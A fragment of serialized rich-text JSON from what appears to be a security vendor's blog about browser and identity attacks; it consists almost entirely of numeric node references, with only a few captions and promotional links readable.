Type":2309},{},[14900],{"data":14901,"content":14902,"nodeType":866},{},[14903],{"data":14904,"marks":14905,"value":2575,"nodeType":865},{},[],{"data":14907,"content":14908,"nodeType":866},{},[14909],{"data":14910,"marks":14911,"value":2582,"nodeType":865},{},[],{"data":14913,"content":14914,"nodeType":866},{},[14915,14918,14924],{"data":14916,"marks":14917,"value":2589,"nodeType":865},{},[],{"data":14919,"content":14920,"nodeType":889},{"uri":1856},[14921],{"data":14922,"marks":14923,"value":2596,"nodeType":865},{},[],{"data":14925,"marks":14926,"value":1066,"nodeType":865},{},[],{"data":14928,"content":14929,"nodeType":866},{},[14930,14933,14939],{"data":14931,"marks":14932,"value":2606,"nodeType":865},{},[],{"data":14934,"content":14935,"nodeType":889},{"uri":2609},[14936],{"data":14937,"marks":14938,"value":2614,"nodeType":865},{},[],{"data":14940,"marks":14941,"value":2618,"nodeType":865},{},[],{"data":14943,"content":14946,"nodeType":921},{"target":14944},{"sys":14945},{"id":2623,"type":918,"linkType":919},[],{"data":14948,"content":14949,"nodeType":944},{},[],{"data":14951,"content":14952,"nodeType":866},{},[14953],{"data":14954,"marks":14955,"value":2634,"nodeType":865},{},[],{"data":14957,"content":14958,"nodeType":866},{},[14959,14962,14968],{"data":14960,"marks":14961,"value":2641,"nodeType":865},{},[],{"data":14963,"content":14964,"nodeType":889},{"uri":2644},[14965],{"data":14966,"marks":14967,"value":2649,"nodeType":865},{},[],{"data":14969,"marks":14970,"value":2653,"nodeType":865},{},[],{"entries":14972},{"hyperlink":14973,"inline":14974,"block":14975},[],[],[14976,14980,14984,14992],{"sys":14977,"__typename":1671,"title":14978,"caption":59,"layoutMode":59,"file":14979},{"id":1870},"Browser & Identity Attacks Matrix Screenshot",{"url":12079,"width":12080,"height":12081},{"sys":14981,"__typename":6278,"type":6279,"ctaText":14982,"buttonLabel":14983,"buttonColour":6282,"buttonUrl":2609},{"id":1955},"Get our latest technical whitepaper to learn about the state of browser-based attacks in 2026 (no sign-up required).","Download Now",{"sys":14985,"__typename":1671,"title":14986,"caption":14987,"layoutMode":59,"file":14988},{"id":2197},"Device code phishing kit example","Device code phishing kit example.",{"url":14989,"width":14990,"height":14991},"https://images.ctfassets.net/y1cdw1ablpvd/2zbjCCqXRMTvaOr6Xpx2BJ/ccb3000b043b3bbc11a6d2315e66f6f1/Copy_of_Device_code_login_completion.gif",1280,720,{"sys":14993,"__typename":6278,"type":6279,"ctaText":14994,"buttonLabel":14995,"buttonColour":6282,"buttonUrl":1856},{"id":2623},"Check out the new-look Browser & Identity Attacks Matrix","See it Here",{"items":14997},[],{},"Stop browser attacks with our MITRE-inspired matrix",{"items":15001},[15002,15835,17554],{"__typename":1802,"sys":15003,"content":15004,"title":10992,"synopsis":10993,"hashTags":59,"publishedDate":2656,"slug":10994,"tagsCollection":15825,"authorsCollection":15831},{"id":10027},{"json":15005},{"data":15006,"content":15007,"nodeType":1663},{},[15008,15030,15054,15087,15120,15125,15135,15138,15145,15187,15193,15212,15217,15220,15227,15251,15257,15264,15269,15272,15279,15285,15300,15306,15339,15345,15348,15355,15370,15412,15415,15422,15437,15452,15459,15465,15475,15485,15495,15505,15520,15527,15533,15536,15542,15548,15563,15566,15573,15588,15819],{"data":15009,"content":15010,"nodeType":866},{},[15011,15014,15020,15023,15027],{"data":15012,"marks":15013,"value":10038,"nodeType":865},{},[],{"data":15015,"content":15016,"nodeType":889},{"uri":2299},[15017],{"data":15018,"marks":15019,"value":2304,"nodeType":865},{},[],{"data":15021,"marks":15022,"value":10048,"nodeType":865},{},[],{"data":15024,"marks":15025,"value":10053,"nodeType":865},{},[15026],{"type":935},{"data":15028,"marks":15029,"value":10057,"nodeType":865},{},[],{"data":15031,"content":15032,"nodeType":866},{},[15033,15036,15042,15045,15051],{"data":15034,"marks":15035,"value":10064,"nodeType":865},{},[],{"data":15037,"content":15038,"nodeType":889},{"uri":10067},[15039],{"data":15040,"marks":15041,"value":10072,"nodeType":865},{},[],{"data":15043,"marks":15044,"value":10076,"nodeType":865},{},[],{"data":15046,"content":15047,"nodeType":889},{"uri":10079},[15048],{"data":15049,"marks":15050,"value":10084,"nodeType":865},{},[],{"data":15052,"marks":15053,"value":10088,"nodeType":865},{},[],{"data":15055,"content":15056,"nodeType":866},{},[15057,15060,15066,15069,15075,15078,15084],{"data":15058,"marks":15059,"value":10095,"nodeType":865},{},[],{"data":15061,"content":15062,"nodeType":889},{"uri":10098},[15063],{"data":15064,"marks":15065,"value":10103,"nodeType":865},{},[],{"data":15067,"marks":15068,"value":10107,"nodeType":865},{},[],{"data":15070,"content":15071,"nodeType":889},{"uri":10110},[15072],{"data":15073,"marks":15074,"value":10115,"nodeType":865},{},[],{"data":15076,"marks":15077,"value":10119,"nodeType":865},{},[],{"data":15079,"content":15080,"nodeType":889},{"uri":10122},[15081],{"data":15082,"marks":15083,"value":10127,"nodeType":865},{},[],{"data":15085,"marks":15086,"value":10131,"nodeType":865},{},[],{"data":15088,"content":15089,"nodeType":866},{},[15090,15093,15099,15102,15108,15111,15117],{"data":15091,"marks":15092,"value":10138,"nodeType":865},{},[],{"data":15094,"content":15095,"nodeType":889},{"uri":10141},[15096],{"data":15097,"marks":15098,"value":10146,"nodeType":865},{},[],{"data":15100,"marks":15101,"value":10150,"nodeType":865},{},[],{"data":15103,"content":15104,"nodeType":889},{"uri":10153},[15105],{"data":15106,"marks":15107,"value":10158,"nodeType":865},{},[],{"data":15109,"marks":15110,"value":10162,"nodeType":865},{},[],{"data":15112,"content":15113,"nodeType":889},{"uri":10165},[15114],{"data":15115,"marks":15116,"value":10170,"nodeType":865},{},[],{"data":15118,"marks":15119,"value":10174,"nodeType":865},{},[],{"data":15121,"content":15124,"nodeType":921},{"target":15122},{"sys":15123},{"id":10179,"type":918,"linkType":919},[],{"data":15126,"content":15127,"nodeType":866},{},[15128,15132],{"data":15129,"marks":15130,"value":10188,"nodeType":865},{},[15131],{"type":935},{"data":15133,"marks":15134,"value":10192,"nodeType":865},{},[],{"data":15136,"content":15137,"nodeType":944},{},[],{"data":15139,"content":15140,"nodeType":953},{},[15141],{"data":15142,"marks":15143,"value":10203,"nodeType":865},{},[15144],{"type":935},{"data":15146,"content":15147,"nodeType":866},{},[15148,15151,15157,15160,15166,15169,15175,15178,15184],{"data":15149,"marks":15150,"value":10210,"nodeType":865},{},[],{"data":15152,"content":15153,"nodeType":889},{"uri":4556},[15154],{"data":15155,"marks":15156,"value":10217,"nodeType":865},{},[],{"data":15158,"marks":15159,"value":5812,"nodeType":865},{},[],{"data":15161,"content":15162,"nodeType":889},{"uri":10223},[15163],{"data":15164,"marks":15165,"value":10228,"nodeType":865},{},[],{"data":15167,"marks":15168,"value":6229,"nodeType":865},{},[],{"data":15170,"content":15171,"nodeType":889},{"uri":10110},[15172],{"data":15173,"marks":15174,"value":10238,"nodeType":865},{},[],{"data":15176,"marks":15177,"value":10242,"nodeType":865},{},[],{"data":15179,"content":15180,"nodeType":889},{"uri":10245},[15181],{"data":15182,"marks":15183,"value":10250,"nodeType":865},{},[],{"data":15185,"marks":15186,"value":1066,"nodeType":865},{},[],{"data":15188,"content":15189,"nodeType":866},{},[15190],{"data":15191,"marks":15192,"value":10260,"nodeType":865},{},[],{"data":15194,"content":15195,"nodeType":866},{},[15196,15199,15205,15208],{"data":15197,"marks":15198,"value":10267,"nodeType":865},{},[],{"data":15200,"content":15201,"nodeType":889},{"uri":10245},[15202],{"data":15203,"marks":15204,"value":10274,"nodeType":865},{},[],{"data":15206,"marks":15207,"value":10278,"nodeType":865},{},[],{"data":15209,"marks":15210,"value":10283,"nodeType":865},{},[15211],{"type":935},{"data":15213,"content":15216,"nodeType":921},{"target":15214},{"sys":15215},{"id":10288,"type":918,"linkType":919},[],{"data":15218,"content":15219,"nodeType":944},{},[],{"data":15221,"content":15222,"nodeType":953},{},[15223],{"data":15224,"marks":15225,"value":10300,"nodeType":865},{},[15226],{"type":935},{"data":15228,"content":15229,"nodeType":866},{},[15230,15233,15239,15242,15248],{"data":15231,"marks":15232,"value":2361,"nodeType":865},{},[],{"data":15234,"content":15235,"nodeType":889},{"uri":2322},[15236],{"data":15237,"marks":15238,"value":10313,"nodeType":865},{},[],{"data":15240,"marks":15241,"value":10317,"nodeType":865},{},[],{"data":15243,"content":15244,"nodeType":889},{"uri":10122},[15245],{"data":15246,"marks":15247,"value":10324,"nodeType":865},{},[],{"data":15249,"marks":15250,"value":10328,"nodeType":865},{},[],{"data":15252,"content":15253,"nodeType":866},{},[15254],{"data":15255,"marks":15256,"value":10335,"nodeType":865},{},[],{"data":15258,"content":15259,"nodeType":866},{},[15260],{"data":15261,"marks":15262,"value":10343,"nodeType":865},{},[15263],{"type":935},{"data":15265,"content":15268,"nodeType":921},{"target":15266},{"sys":15267},{"id":10348,"type":918,"linkType":919},[],{"data":15270,"content":15271,"nodeType":944},{},[],{"data":15273,"content":15274,"nodeType":953},{},[15275],{"data":15276,"marks":15277,"value":10360,"nodeType":865},{},[15278],{"type":935},{"data":15280,"content":15281,"nodeType":866},{},[15282],{"data":15283,"marks":15284,"value":10367,"nodeType":865},{},[],{"data":15286,"content":15287,"nodeType":866},{},[15288,15291,15297],{"data":15289,"marks":15290,"value":2361,"nodeType":865},{},[],{"data":15292,"content":15293,"nodeType":889},{"uri":10376},[15294],{"data":15295,"marks":15296,"value":10381,"nodeType":865},{},[],{"data":15298,"marks":15299,"value":10385,"nodeType":865},{},[],{"data":15301,"content":15302,"nodeType":866},{},[15303],{"data":15304,"marks":15305,"value":10392,"nodeType":865},{},[],{"data":15307,"content":15308,"nodeType":866},{},[15309,15312,15318,15321,15327,15330,15336],{"data":15310,"marks":15311,"value":10399,"nodeType":865},{},[],{"data":15313,"content":15314,"nodeType":889},{"uri":10402},[15315],{"data":15316,"marks":15317,"value":10407,"nodeType":865},{},[],{"data":15319,"marks":15320,"value":10411,"nodeType":865},{},[],{"data":15322,"content":15323,"nodeType":889},{"uri":10414},[15324],{"data":15325,"marks":15326,"value":10419,"nodeType":865},{},[],{"data":15328,"marks":15329,"value":10423,"nodeType":865},{},[],{"data":15331,"content":15332,"nodeType":889},{"uri":10426},[15333],{"data":15334,"marks":15335,"value":10431,"nodeType":865},{},[],{"data":15337,"marks":15338,"value":10435,"nodeType":865},{},[],{"data":15340,"content":15341,"nodeType":866},{},[15342],{"data":15343,"marks":15344,"value":10442,"nodeType":865},{},[],{"data":15346,"content":15347,"nodeType":944},{},[],{"data":15349,"content":15350,"nodeType":953},{},[15351],{"data":15352,"marks":15353,"value":10453,"nodeType":865},{},[15354],{"type":935},{"data":15356,"content":15357,"nodeType":866},{},[15358,15361,15367],{"data":15359,"marks":15360,"value":10460,"nodeType":865},{},[],{"data":15362,"content":15363,"nodeType":889},{"uri":10463},[15364],{"data":15365,"marks":15366,"value":10468,"nodeType":865},{},[],{"data":15368,"marks":15369,"value":10472,"nodeType":865},{},[],{"data":15371,"content":15372,"nodeType":866},{},[15373,15376,15382,15385,15391,15394,15400,15403,15409],{"data":15374,"marks":15375,"value":10479,"nodeType":865},{},[],{"data":15377,"content":15378,"nodeType":889},{"uri":10482},[15379],{"data":15380,"marks":15381,"value":10487,"nodeType":865},{},[],{"data":15383,"marks":15384,"value":10491,"nodeType":865},{},[],{"data":15386,"content":15387,"nodeType":889},{"uri":10494},[15388],{"data":15389,"marks":15390,"value":10499,"nodeType":865},{},[],{"data":15392,"marks":15393,"value":10503,"nodeType":865},{},[],{"data":15395,"content":15396,"nodeType":889},{"uri":10506},[15397],{"data":15398,"marks":15399,"value":10511,"nodeType":865},{},[],{"data":15401,"marks":15402,"value":10515,"nodeType":865},{},[],{"data":15404,"content":15405,"nodeType":889},{"uri":10518},[15406],{"data":15407,"marks":15408,"value":10523,"nodeType":865},{},[],{"data":15410,"marks":15411,"value":10527,"nodeType":865},{},[],{"data":15413,"content":15414,"nodeType":944},{},[],{"data":15416,"content":15417,"nodeType":953},{},[15418],{"data":15419,"marks":15420,"value":10538,"nodeType":865},{},[15421],{"type":935},{"data":15423,"content":15424,"nodeType":866},{},[15425,15428,15434],{"data":15426,"marks":15427,"value":10545,"nodeType":865},{},[],{"data":15429,"content":15430,"nodeType":889},{"uri":2169},[15431],{"data":15432,"marks":15433,"value":10552,"nodeType":865},{},[],{"data":15435,"marks":15436,"value":10556,"nodeType":865},{},[],{"data":15438,"content":15439,"nodeType":866},{},[15440,15443,15449],{"data":15441,"marks":15442,"value":10563,"nodeType":865},{},[],{"data":15444,"content":15445,"nodeType":889},{"uri":10566},[15446],{"data":15447,"marks":15448,"value":315,"nodeType":865},{},[],{"data":15450,"marks":15451,"value":10574,"nodeType":865},{},[],{"data":15453,"content":15454,"nodeType":1229},{},[15455],{"data":15456,"marks":15457,"value":10582,"nodeType":865},{},[15458],{"type":935},{"data":15460,"content":15461,"nodeType":866},{},[15462],{"data":15463,"marks":15464,"value":10589,"nodeType":865},{},[],{"data":15466,"content":15467,"nodeType":866},{},[15468,15472],{"data":15469,"marks":15470,"value":10597,"nodeType":865},{},[15471],{"type":935},{"data":15473,"marks":15474,"value":10601,"nodeType":865},{},[],{"data":15476,"content":15477,"nodeType":866},{},[15478,15482],{"data":15479,"marks":15480,"value":10609,"nodeType":865},{},[15481],{"type":935},{"data":15483,"marks":15484,"value":10613,"nodeType":865},{},[],{"data":15486,"content":15487,"nodeType":866},{},[15488,15492],{"data":15489,"marks":15490,"value":10621,"nodeType":865},{},[15491],{"type":935},{"data":15493,"marks":15494,"value":10625,"nodeType":865},{},[],{"data":15496,"content":15497,"nodeType":866},{},[15498,15502],{"data":15499,"marks":15500,"value":10633,"nodeType":865},{},[15501],{"type":935},{"data":15503,"marks":15504,"value":10637,"nodeType":865},{},[],{"data":15506,"content":15507,"nodeType":866},{},[15508,15511,15517],{"data":15509,"marks":15510,"value":21,"nodeType":865},{},[],{"data":15512,"content":15513,"nodeType":889},{"uri":5856},[15514],{"data":15515,"marks":15516,"value":10650,"nodeType":865},{},[],{"data":15518,"marks":15519,"value":21,"nodeType":865},{},[],{"data":15521,"content":15522,"nodeType":1229},{},[15523],{"data":15524,"marks":15525,"value":10661,"nodeType":865},{},[15526],{"type":935},{"data":15528,"content":15529,"nodeType":866},{},[15530],{"data":15531,"marks":15532,"value":10668,"nodeType":865},{},[],{"data":15534,"content":15535,"nodeType":944},{},[],{"data":15537,"content":15538,"nodeType":866},{},[15539],{"data":15540,"marks":15541,"value":10678,"nodeType":865},{},[],{"data":15543,"content":15544,"nodeType":866},{},[15545],{"data":15546,"marks":15547,"value":1478,"nodeType":865},{},[],{"data":15549,"content":15550,"nodeType":866},{},[15551,15554,15560],{"data":15552,"marks":15553,"value":21,"nodeType":865},{},[],{"data":15555,"content":15556,"nodeType":889},{"uri":1487},[15557],{"data":15558,"marks":15559,"value":1493,"nodeType":865},{},[],{"data":15561,"marks":15562,"value":21,"nodeType":865},{},[],{"data":15564,"content":15565,"nodeType":944},{},[],{"data":15567,"content":15568,"nodeType":953},{},[15569],{"data":15570,"marks":15571,"value":10710,"nodeType":865},{},[15572],{"type":935},{"data":15574,"content":15575,"nodeType":866},{},[15576,15579,15585],{"data":15577,"marks":15578,"value":10717,"nodeType":865},{},[],{"data":15580,"content":15581,"nodeType":889},{"uri":2299},[15582],{"data":15583,"marks":15584,"value":10724,"nodeType":865},{},[],{"data":15586,"marks":15587,"value":10728,"nodeType":865},{},[],{"data":15589,"content":15590,"nodeType":1656},{},[15591,15634,15690,15733,15776],{"data":15592,"content":15593,"nodeType":1563},{},[15594,15604,15614,15624],{"data":15595,"content":15596,"nodeType":1577},{},[15597],{"data":15598,"content":15599,"nodeType":866},{},[15600],{"data":15601,"marks":15602,"value":10745,"nodeType":865},{},[15603],{"type":935},{"data":15605,"content":15606,"nodeType":1577},{},[15607],{"data":15608,"content":15609,"nodeType":866},{},[15610],{"data":15611,"marks":15612,"value":10756,"nodeType":865},{},[15613],{"type":935},{"data":15615,"content":15616,"nodeType":1577},{},[15617],{"data":15618,"content":15619,"nodeType":866},{},[15620],{"data":15621,"marks":15622,"value":10767,"nodeType":865},{},[15623],{"type":935},{"data":15625,"content":15626,"nodeType":1577},{},[15627],{"data":15628,"content":15629,"nodeType":866},{},[15630],{"data":15631,"marks":15632,"value":10778,"nodeType":865},{},[15633],{"type":935},{"data":15635,"content":15636,"nodeType":1563},{},[15637,15657,15666,15675],{"data":15638,"content":15639,"nodeType":1577},{},[15640],{"data":15641,"content":15642,"nodeType":866},{},[15643,15647,15650,15654],{"data":15644,"marks":15645,"value":10792,"nodeType":865},{},[15646],{"type":935},{"data":15648,"marks":15649,"value":10796,"nodeType":865},{},[],{"data":15651,"marks":15652,"value":10801,"nodeType":865},{},[15653],{"type":935},{"data":15655,"marks":15656,"value":10805,"nodeType":865},{},[],{"data":15658,"content":15659,"nodeType":1577},{},[15660],{"data":15661,"content":15662,"nodeType":866},{},[15663],{"data":15664,"marks":15665,"value":10815,"nodeType":865},{},[],{"data":15667,"content":15668,"nodeType":1577},{},[15669],{"data":15670,"content":15671,"nodeType":866},{},[15672],{"data":15673,"marks":15674,"value":10825,"nodeType":865},{},[],{"data":15676,"content":15677,"nodeType":1577},{},[15678,15684],{"data":15679,"content":15680,"nodeType":866},{},[15681],{"data":15682,"marks":15683,"value":10835,"nodeType":865},{},[],{"data":15685,"content":15686,"nodeType":866},{},[15687],{"data":15688,"marks":15689,"value":10842,"nodeType":865},{},[],{"data":15691,"content":15692,"nodeType":1563},{},[15693,15706,15715,15724],{"data":15694,"content":15695,"nodeType":1577},{},[15696],{"data":15697,"content":15698,"nodeType":866},{},[15699,15703],{"data":15700,"marks":15701,"value":10856,"nodeType":865},{},[15702],{"type":935},{"data":15704,"marks":15705,"value":10860,"nodeType":865},{},[],{"data":15707,"content":15708,"nodeType":1577},{},[15709],{"data":15710,"content":15711,"nodeType":866},{},[15712],{"data":15713,"marks":15714,"value":10870,"nodeType":865},{},[],{"data":15716,"content":15717,"nodeType":1577},{},[15718],{"data":15719,"content":15720,"nodeType":866},{},[15721],{"data":15722,"marks":15723,"value":10880,"nodeType":865},{},[],{"data":15725,"content":15726,"nodeType":1577},{},[15727],{"data":15728,"content":15729,"nodeType":866},{},[15730],{"data":15731,"marks":15732,"value":10890,"nodeType":865},{},[],{"data":15734,"content":15735,"nodeType":1563},{},[15736,15749,15758,15767],{"data":15737,"content":15738,"nodeType":1577},{},[15739],{"data":15740,"content":15741,"nodeType":866},{},[15742,15746],{"data":15743,"marks":15744,"value":10904,"nodeType":865},{},[15745],{"type":935},{"data":15747,"marks":15748,"value":10908,"nodeType":865},{},[],{"data":15750,"content":15751,"nodeType":1577},{},[15752],{"data":15753,"content":15754,"nodeType":866},{},[15755],{"data":15756,"marks":15757,"value":10918,"nodeType":865},{},[],{"data":15759,"content":15760,"nodeType":1577},{},[15761],{"data":15762,"content":15763,"nodeType":866},{},[15764],{"data":15765,"marks":15766,"value":10928,"nodeType":865},{},[],{"data":15768,"content":15769,"nodeType":1577},{},[15770],{"data":15771,"content":15772,"nodeType":866},{},[15773],{"data":15774,"marks":15775,"value":10938,"nodeType":865},{},[],{"data":15777,"content":15778,"nodeType":1563},{},[15779,15792,15801,15810],{"data":15780,"content":15781,"nodeType":1577},{},[15782],{"data":15783,"content":15784,"nodeType":866},{},[15785,15789],{"data":15786,"marks":15787,"value":10952,"nodeType":865},{},[15788],{"type":935},{"data":15790,"marks":15791,"value":10956,"nodeType":865},{},[],{"data":15793,"content":15794,"nodeType":1577},{},[15795],{"data":15796,"content":15797,"nodeType":866},{},[15798],{"data":15799,"marks":15800,"value":10815,"nodeType":865},{},[],{"data":15802,"content":15803,"nodeType":1577},{},[15804],{"data":15805,"content":15806,"nodeType":866},{},[15807],{"data":15808,"marks":15809,"value":10975,"nodeType":865},{},[],{"data":15811,"content":15812,"nodeType":1577},{},[15813],{"data":15814,"content":15815,"nodeType":866},{},[15816],{"data":15817,"marks":15818,"value":10985,"nodeType":865},{},[],{"data":15820,"content":15821,"nodeType":866},{},[15822],{"data":15823,"marks":15824,"value":21,"nodeType":865},{},[],{"items":15826},[15827,15829],{"sys":15828,"name":2663},{"id":2662},{"sys":15830,"name":342},{"id":2666},{"items":15832},[15833],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":15834},{"url":2674},{"__typename":1802,"sys":15836,"content":15837,"title":5606,"synopsis":5607,"hashTags":59,"publishedDate":5608,"slug":5609,"tagsCollection":17544,"authorsCollection":17550},{"id":3704},{"json":15838},{"data":15839,"content":15840,"nodeType":1663},{},[15841,15847,15871,15881,15887,15892,15902,15907,15910,15917,15923,15978,15984,15989,15992,15999,16005,16010,16017,16023,16131,16136,16141,16147,16152,16159,16165,16171,16226,16232,16237,16242,16249,16255,16261,16268,16274,16303,16309,16314,16320,16362,16368,16375,16381,16386,16392,16398,16403,16409,16438,16444,16449,16452,16459,16465,16471,16477,16482,16488,16494,16499,16505,16510,16516,16521,16527,16533,16536,16543,16556,16562,16578,16799,16805,16831,17052,17058,17064,17255,17261,17440,17443,17450,17456,17462,17472,17475,17482,17497,17512,17519,17522,17529],{"data":15842,"content":15843,"nodeType":866},{},[15844],{"data":15845,"marks":15846,"value":3715,"nodeType":865},{},[],{"data":15848,"content":15849,"nodeType":866},{},[15850,15853,15859,15862,15868],{"data":15851,"marks":15852,"value":3722,"nodeType":865},{},[],{"data":15854,"content":15855,"nodeType":889},{"uri":2322},[15856],{"data":15857,"marks":15858,"value":3729,"nodeType":865},{},[],{"data":15860,"marks":15861,"value":3733,"nodeType":865},{},[],{"data":15863,"content":15864,"nodeType":889},{"uri":3736},[15865],{"data":15866,"marks":15867,"value":3741,"nodeType":865},{},[],{"data":15869,"marks":15870,"value":3745,"nodeType":865},{},[],{"data":15872,"content":15873,"nodeType":866},{},[15874,15878],{"data":15875,"marks":15876,"value":3753,"nodeType":865},{},[15877],{"type":935},{"data":15879,"marks":15880,"value":3757,"nodeType":865},{},[],{"data":15882,"content":15883,"nodeType":866},{},[15884],{"data":15885,"marks":15886,"value":3764,"nodeType":865},{},[],{"data":15888,"content":15891,"nodeType":921},{"target":15889},{"sys":15890},{"id":3769,"type":918,"linkType":919},[],{"data":15893,"content":15894,"nodeType":866},{},[15895,15898],{"data":15896,"marks":15897,"value":3777,"nodeType":865},{},[],{"data":15899,"marks":15900,"value":3782,"nodeType":865},{},[15901],{"type":935},{"data":15903,"content":15906,"nodeType":921},{"target":15904},{"sys":15905},{"id":3787,"type":918,"linkType":919},[],{"data":15908,"content":15909,"nodeType":944},{},[],{"data":15911,"content":15912,"nodeType":953},{},[15913],{"data":15914,"marks":15915,"value":3799,"nodeType":865},{},[15916],{"type":935},{"data":15918,"content":15919,"nodeType":866},{},[15920],{"data":15921,"marks":15922,"value":3806,"nodeType":865},{},[],{"data":15924,"content":15925,"nodeType":2374},{},[15926,15939,15952,15965],{"data":15927,"content":15928,"nodeType":2309},{},[15929],{"data":15930,"content":15931,"nodeType":866},{},[15932,15936],{"data":15933,"marks":15934,"value":3820,"nodeType":865},{},[15935],{"type":935},{"data":15937,"marks":15938,"value":3824,"nodeType":865},{},[],{"data":15940,"content":15941,"nodeType":2309},{},[15942],{"data":15943,"content":15944,"nodeType":866},{},[15945,15949],{"data":15946,"marks":15947,"value":3835,"nodeType":865},{},[15948],{"type":935},{"data":15950,"marks":15951,"value":3839,"nodeType":865},{},[],{"data":15953,"content":15954,"nodeType":2309},{},[15955],{"data":15956,"content":15957,"nodeType":866},{},[15958,15962],{"data":15959,"marks":15960,"value":3850,"nodeType":865},{},[15961],{"type":935},{"data":15963,"marks":15964,"value":3854,"nodeType":865},{},[],{"data":15966,"content":15967,"nodeType":2309},{},[15968],{"data":15969,"content":15970,"nodeType":866},{},[15971,15975],{"data":15972,"marks":15973,"value":3865,"nodeType":865},{},[15974],{"type":935},{"data":15976,"marks":15977,"value":3869,"nodeType":865},{},[],{"data":15979,"content":15980,"nodeType":866},{},[15981],{"data":15982,"marks":15983,"value":3876,"nodeType":865},{},[],{"data":15985,"content":15988,"nodeType":921},{"target":15986},{"sys":15987},{"id":3881,"type":918,"linkType":919},[],{"data":15990,"content":15991,"nodeType":944},{},[],{"data":15993,"content":15994,"nodeType":953},{},[15995],{"data":15996,"marks":15997,"value":3893,"nodeType":865},{},[15998],{"type":935},{"data":16000,"content":16001,"nodeType":866},{},[16002],{"data":16003,"marks":16004,"value":3900,"nodeType":865},{},[],{"data":16006,"content":16009,"nodeType":921},{"target":16007},{"sys":16008},{"id":3905,"type":918,"linkType":919},[],{"data":16011,"content":16012,"nodeType":1229},{},[16013],{"data":16014,"marks":16015,"value":3914,"nodeType":865},{},[16016],{"type":935},{"data":16018,"content":16019,"nodeType":866},{},[16020],{"data":16021,"marks":16022,"value":3921,"nodeType":865},{},[],{"data":16024,"content":16025,"nodeType":2374},{},[16026,16039,16052,16072,16085,16098,16118],{"data":16027,"content":16028,"nodeType":2309},{},[16029],{"data":16030,"content":16031,"nodeType":866},{},[16032,16036],{"data":16033,"marks":16034,"value":3935,"nodeType":865},{},[16035],{"type":935},{"data":16037,"marks":16038,"value":3939,"nodeType":865},{},[],{"data":16040,"content":16041,"nodeType":2309},{},[16042],{"data":16043,"content":16044,"nodeType":866},{},[16045,16049],{"data":16046,"marks":16047,"value":3950,"nodeType":865},{},[16048],{"type":935},{"data":16050,"marks":16051,"value":3954,"nodeType":865},{},[],{"data":16053,"content":16054,"nodeType":2309},{},[16055],{"data":16056,"content":16057,"nodeType":866},{},[16058,16062,16065,16069],{"data":16059,"marks":16060,"value":3965,"nodeType":865},{},[16061],{"type":935},{"data":16063,"marks":16064,"value":3969,"nodeType":865},{},[],{"data":16066,"marks":16067,"value":3974,"nodeType":865},{},[16068],{"type":935},{"data":16070,"marks":16071,"value":3978,"nodeType":865},{},[],{"data":16073,"content":16074,"nodeType":2309},{},[16075],{"data":16076,"content":16077,"nodeType":866},{},[16078,16082],{"data":16079,"marks":16080,"value":3989,"nodeType":865},{},[16081],{"type":935},{"data":16083,"marks":16084,"value":3993,"nodeType":865},{},[],{"data":16086,"content":16087,"nodeType":2309},{},[16088],{"data":16089,"content":16090,"nodeType":866},{},[16091,16095],{"data":16092,"marks":16093,"value":4004,"nodeType":865},{},[16094],{"type":935},{"data":16096,"marks":16097,"value":4008,"nodeType":865},{},[],{"data":16099,"content":16100,"nodeType":2309},{},[16101],{"data":16102,"content":16103,"nodeType":866},{},[16104,16108,16111,16115],{"data":16105,"marks":16106,"value":4019,"nodeType":865},{},[16107],{"type":935},{"data":16109,"marks":16110,"value":4023,"nodeType":865},{},[],{"data":16112,"marks":16113,"value":4028,"nodeType":865},{},[16114],{"type":935},{"data":16116,"marks":16117,"value":4032,"nodeType":865},{},[],{"data":16119,"content":16120,"nodeType":2309},{},[16121],{"data":16122,"content":16123,"nodeType":866},{},[16124,16128],{"data":16125,"marks":16126,"value":4043,"nodeType":865},{},[16127],{"type":935},{"data":16129,"marks":16130,"value":4047,"nodeType":865},{},[],{"data":16132,"content":16135,"nodeType":921},{"target":16133},{"sys":16134},{"id":4052,"type":918,"linkType":919},[],{"data":16137,"content":16140,"nodeType":921},{"target":16138},{"sys":16139},{"id":4058,"type":918,"linkType":919},[],{"data":16142,"content":16143,"nodeType":866},{},[16144],{"data":16145,"marks":16146,"value":21,"nodeType":865},{},[],{"data":16148,"content":16151,"nodeType":921},{"target":16149},{"sys":16150},{"id":4070,"type":918,"linkType":919},[],{"data":16153,"content":16154,"nodeType":1229},{},[16155],{"data":16156,"marks":16157,"value":4079,"nodeType":865},{},[16158],{"type":935},{"data":16160,"content":16161,"nodeType":866},{},[16162],{"data":16163,"marks":16164,"value":4086,"nodeType":865},{},[],{"data":16166,"content":16167,"nodeType":866},{},[16168],{"data":16169,"marks":16170,"value":4093,"nodeType":865},{},[],{"data":16172,"content":16173,"nodeType":2374},{},[16174,16187,16200,16213],{"data":16175,"content":16176,"nodeType":2309},{},[16177],{"data":16178,"content":16179,"nodeType":866},{},[16180,16184],{"data":16181,"marks":16182,"value":4107,"nodeType":865},{},[16183],{"type":935},{"data":16185,"marks":16186,"value":4111,"nodeType":865},{},[],{"data":16188,"content":16189,"nodeType":2309},{},[16190],{"data":16191,"content":16192,"nodeType":866},{},[16193,16197],{"data":16194,"marks":16195,"value":4122,"nodeType":865},{},[16196],{"type":935},{"data":16198,"marks":16199,"value":4126,"nodeType":865},{},[],{"data":16201,"content":16202,"nodeType":2309},{},[16203],{"data":16204,"content":16205,"nodeType":866},{},[16206,16210],{"data":16207,"marks":16208,"value":4137,"nodeType":865},{},[16209],{"type":935},{"data":16211,"marks":16212,"value":4141,"nodeType":865},{},[],{"data":16214,"content":16215,"nodeType":2309},{},[16216],{"data":16217,"content":16218,"nodeType":866},{},[16219,16223],{"data":16220,"marks":16221,"value":4152,"nodeType":865},{},[16222],{"type":935},{"data":16224,"marks":16225,"value":4156,"nodeType":865},{},[],{"data":16227,"content":16228,"nodeType":866},{},[16229],{"data":16230,"marks":16231,"value":4163,"nodeType":865},{},[],{"data":16233,"content":16236,"nodeType":921},{"target":16234},{"sys":16235},{"id":4168,"type":918,"linkType":919},[],{"data":16238,"content":16241,"nodeType":921},{"target":16239},{"sys":16240},{"id":4174,"type":918,"linkType":919},[],{"data":16243,"content":16244,"nodeType":1229},{},[16245],{"data":16246,"marks":16247,"value":4183,"nodeType":865},{},[16248],{"type":935},{"data":16250,"content":16251,"nodeType":866},{},[16252],{"data":16253,"marks":16254,"value":4190,"nodeType":865},{},[],{"data":16256,"content":16257,"nodeType":866},{},[16258],{"data":16259,"marks":16260,"value":4197,"nodeType":865},{},[],{"data":16262,"content":16263,"nodeType":1229},{},[16264],{"data":16265,"marks":16266,"